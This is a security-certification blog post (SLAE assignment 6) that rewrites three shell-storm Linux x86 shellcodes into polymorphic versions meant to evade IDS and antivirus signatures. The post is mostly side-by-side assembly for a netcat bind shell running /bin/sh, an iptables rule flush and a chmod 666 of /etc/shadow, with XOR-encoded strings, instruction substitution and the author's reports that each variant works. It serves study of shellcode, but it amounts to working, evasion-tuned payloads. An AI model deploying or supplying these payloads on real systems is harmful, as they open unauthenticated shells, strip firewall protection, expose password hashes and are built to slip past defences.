SLAE A.6 - Polymorphic Shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1294

A polymorphic version of shellcode uses different instructions while maintaining the original functionality, particularly in order to evade IDS or antivirus systems that may be searching for signatures. This sixth assignment is to take three samples of linux/x86 shellcode from the shell-storm.org database and manually create polymorphic versions of them. It is required that the new versions are no more than 50% larger than the originals.

The following shellcodes were analysed and recreated with different instructions/approaches.

These were chosen because I can reasonably easily test their effects on my Kali VM without destroying it, and the overall size of each is not too large.


nc bind shell

This shellcode is provided in nasm format already. Its purpose is to provide a bind shell, not by listening for clients itself but by invoking a local copy of netcat: /bin/nc -lvve/bin/sh -vp13377. I checked it carefully, built it, and confirmed that it works.

I noticed something a little odd at the start. It clears some registers then pushes the string -vp13377 onto the stack.

xor eax,eax
xor edx,edx
push 0x37373333    ; '3377'
push 0x3170762d    ; '-vp1'

This parameter is missing a null terminator. This can cause the wrong port to be selected. Since nc is parsing everything after -p as a port number it will stop as soon as it reaches a non-numeric character. Most of the time this is fine. However if the next byte on the top of the stack happens to be a valid ASCII number it will be attached to the number 11337. In this case the port number will overflow:

# nc -lvp 113371
listening on [any] 47835 ...

I consider this a bug in the original source code and I will fix it in my own version by pushing a null to the stack first.

OriginalNew
xor eax,eax
xor edx,edx
sub eax,eax

We don’t need to zero out edx at this stage. The goal is to place 0 inside eax - instead of using xor, subtract it from itself.

OriginalNew
push 0x37373333
push 0x3170762d
mov edx, esp
; Null terminated string "-vp13377" - ptr to esi
push eax
push word 0x3737
push word 0x3333
push word 0x3170
push word 0x762d
mov esi,esp

First a new push eax is inserted to ensure this argument is properly terminated, as discussed above.

The dword pushes are converted to pushes of two words each. This requires additional opcodes but means those tell-tale constants are broken into smaller, separate chunks in memory.

The pointer is stored in esi instead of edx.

OriginalNew
push eax
push 0x68732f6e
push 0x69622f65
push 0x76766c2d
mov ecx,esp
; Null terminated string "-lvve/bin/sh" - ptr to edi
push ax
push word 0x6873
push word 0x2f6e
push word 0x6962
push word 0x2f65
push word 0x7676
push word 0x6c2d
mov edi,esp

The original push eax provides a null terminator. Here we will use push ax instead, which will still give us two zero bytes on the stack. Unfortunately this requires a two byte op-code where the original was one byte.

The constants are obfuscated the same way as before. This time the pointer is stored in edi instead of ecx.

OriginalNew
push eax
push 0x636e2f2f
push 0x2f2f2f2f
push 0x6e69622f
mov ebx, esp
; Null terminated string "/bin//nc" - ptr to ecx
push ax
push word 0x636e
push word 0x2f2f
push word 0x6e69
push word 0x622f
xor ecx,ecx
add ecx,esp

The last string is handled much the same, except we remove the middle push to save space. The original pushes the string “/bin//////nc”, probably an attempt to evade AV that is looking for “/bin//nc”. I am doing my own word-splitting evasion here so I’ll take it out.

This pointer is stored in ecx instead of ebx, using two steps because we can. The original code had a mov ecx,esp in an earlier position so I may as well avoid it.

OriginalNew
push eax
push edx
push ecx
push ebx
xor edx,edx
mov ecx,esp
; Clear edx (doubles as envp param)
sub edx,edx
; Null terminator for argv array
push edx
; Last argument
push esi
; Middle argument
push edi
; Path to nc
push ecx
; Path to nc must also be in ebx for syscall
mov ebx,ecx
; Now point ecx to the argv on the stack
xor ecx,ecx
add ecx,esp

Zeroing edx is deferred to this point. The stack is set up like before except we’re using a different combination and order of registers. Because we didn’t use ebx already for the path to nc it must be configured as an extra step.

ecx is pointed to the structure we just created using xor and add instead of a mov.

OriginalNew
mov al,11
int 0x80
; Set the syscall to 11 (execve)
mov al,6
add al,5
; Leave this instruction the same...
int 0x80

The syscall number can be split into two steps. I decided to leave the int 0x80 alone. This instruction is hopefully not too suspicious.

This builds and works fine. I test that I can execute it and use the created reverse shell.


iptables –flush shellcode

Since the source code was given in AT&T format I decided to take the assembled format and disassemble it with ndisasm. The corresponding disassembly is in the GitHub repository.

This one is relatively straightforward and not so different from the nc shellcode above. The main job it is doing is setting up the parameters for execve on the stack.

This time I will try to use a different technique—PUSHAD. This single op-code causes eax, ecx, edx, ebx, esp, ebp, esi, and edi to be pushed onto the stack all at once in that order. Instead of pushing dword constants onto the stack I can load them carefully into registers, then place them all on the stack all at once.

OriginalNew
xor eax,eax
push eax
xor esi,esi
push esi

In the first place we still need a zeroed register. I simply choose a different register.

I also push esi. The path to iptables is going to span four registers—eax, ecx, edx and ebx. The next register in the pushad operation is esp and I can’t fiddle with that. I still need a null terminator, so I push it in advance.

OriginalNew
push word 0x462d
mov esi,esp
; parameter "-F"
mov edi,esi
add di,0x462d

The -F parameter is formed using half of the last register to be pushed, edi. After the pushad completes, esp will point to this string.

OriginalNew
push dword 0x73656c62
push dword 0x61747069
push dword 0x2f6e6962
push dword 0x732f2f2f
mov ebx,esp
; "///sbin/iptables"
mov eax,0x73656c62
mov ecx,0x61747069
mov edx,0x2f6e6962
mov ebx,0x732f2f2f

All of the strings that would be pushed as literals are lined up in the corresponding registers instead. I haven’t attempted to obfuscate the literals itself in this example. This is perhaps fairly weak evasion but it could be combined with other techniques too if necessary.

Next the argv array must be set up. I will do this by pushing pointers as before, except this time I will be pushing pointers by their relative positions from esp.

OriginalNew
push eax
push esi
push ebx
; At this point [esp] is -F
; [esp+0x10] is the program path
; Configure argv
push esi
; NB the stack is moving as we push stuff
lea ebx,[esp+0x4]
push ebx
lea ebx,[esp+0x18]
push ebx

Now that argv is on top of stack, all that remains is to put the correct arguments into registers for the execve syscall.

OriginalNew
mov ecx,esp
mov edx,eax
mov al,0xb
int 0x80
; Put top of stack in ecx
xor ecx,ecx
add ecx,esp

; Zero out edx (envp)
xor edx,edx

; Get syscall number into eax
mov eax,edx
add eax,0xb

int 0x80

I use some trivial two-instruction substitutions to make this look different. Ultimately execve is called with the correct parameters.

I run my modified version and confirm that my iptables rules are flushed.


chmod 666 /etc/shadow shellcode

This shell-storm source file is a little confusing because there are two versions in the same file. I took the assembled version from the comments and disassembled it with ndisasm.

Without going into too much detail, I analysed it and confirmed that it works in a test program. It does the following:

  • Push “/etc/shadowS” onto the stack
  • Fix the last byte so it’s a null instead of S
  • Set parameter 0666 = 0x1b6 in ecx
  • Point to “/etc/shadow” in ebx
  • Execute the chmod system call (15)

The biggest difference in my version is how I load the data onto the stack. I obfuscate the string literals by XORing each dword with the key 0x11223344. This has the additional advantage that I can include the null byte directly in the encoded version and don’t need to fix it up later. The encoded values were calculated with python:

>>> hex(0x53776f64 ^ 0x11223344)
'0x42555c20'
>>> hex(0x6168732f ^ 0x11223344)
'0x704a406b'
>>> hex(0x6374652f ^ 0x11223344)
'0x7256566b'

With that explained, let’s go from top to bottom.

OriginalNew
xor ebx,ebx
xor ecx,ecx

In this shellcode ebx did not need to be cleared at all. However ecx will need to be zero later so I modify this instruction to do it here.

OriginalNew
push dword 0x53776f64
push dword 0x6168732f
push dword 0x6374652f
; Put "/etc/shadow" (null-terminated) on the stack
mov eax,0x11555c20
xor eax,0x11223344
push eax
mov eax,0x704a406b
xor eax,0x11223344
push eax
mov eax,0x7256566b
xor eax,0x11223344
push eax

Here we see the encoded strings being decoded and pushed onto the stack. Originally I tried using a small routine for the decoding but with so little data it actually ended up smaller to just repeat the xor instructions.

OriginalNew
mov ebx,esp
; ptr into ebx
mov edi,esp
mov ebx,edi

Use an extra level of indirection that ends up placing esp in ebx.

OriginalNew
xor ecx,ecx
mov [esp+0xb],cl
mov cx,0x1b6
; Get 0x1b6 in ecx by putting in double	then halving
mov cx,0x36c
sar ecx,1

This time ecx is already zero because of the changed xor operation at the beginning. The xor encoding means we no longer need to update the byte at esp+0xb.

Instead of placing 0x1b6 directly in the register we will use double that value, 0x36c, and then use an arithmetic shift right to divide it by 2.

OriginalNew
xor eax,eax
mov al,0xf
int 0x80
; Put it in eax	and subtract enough to get syscall 15
mov eax,ecx
sub ax,0x1a7
; Do the chmod
int 0x80

The original loads the number 15 into eax, taking a little care to avoid null bytes in the op-codes. This time we will start with the known value in ecx and subtract a constant to get back to 15.

OriginalNew
xor eax,eax
inc eax
int 0x80
; Assume success - chmod returns 0
; Increment to 1 to get	exit syscall
add al,1
int 0x80

I have taken a small liberty here. If the chmod works eax will contain the return value 0. Therefore we don’t need to clear it. If the chmod fails - perhaps the program is not running as root - then it may not exit cleanly. If this is important it could be re-inserted for a cost of 2 extra bytes.

This new version works equivalently to the old one. Here it is making my computer insecure.